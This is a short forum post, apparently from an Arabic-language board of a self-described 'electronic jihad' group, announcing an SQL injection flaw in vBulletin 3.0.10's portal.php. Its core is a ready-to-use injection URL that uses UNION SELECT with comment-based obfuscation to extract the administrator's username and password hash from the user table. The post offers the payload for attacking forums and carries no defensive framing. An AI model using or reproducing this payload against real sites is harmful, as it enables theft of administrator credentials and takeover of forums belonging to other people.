Members Login
Username 
 
Password 
    Remember Me  
Post Info TOPIC: vBulletin Portal.PHP SQL Injection Vulnerability


سريه سفيان بن عوف الغامدي للجهاد الكتروني

Status: Offline
Posts: 632
Date:
vBulletin Portal.PHP SQL Injection Vulnerability
Permalink   
 


السلام عليكم ورحمة الله


الثغره في الاصدار

vbulletin-3.0.10




في الملف portal.php

طريقة الاستثمار نضيف من خلف مجلد المنتدى



كود:
portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*


 



__________________
Page 1 of 1  sorted by
 Add/remove tags to this thread
Quick Reply

Please log in to post quick replies.

Tweet this page Post to Digg Post to Del.icio.us


Create your own FREE Forum
Report Abuse
Powered by ActiveBoard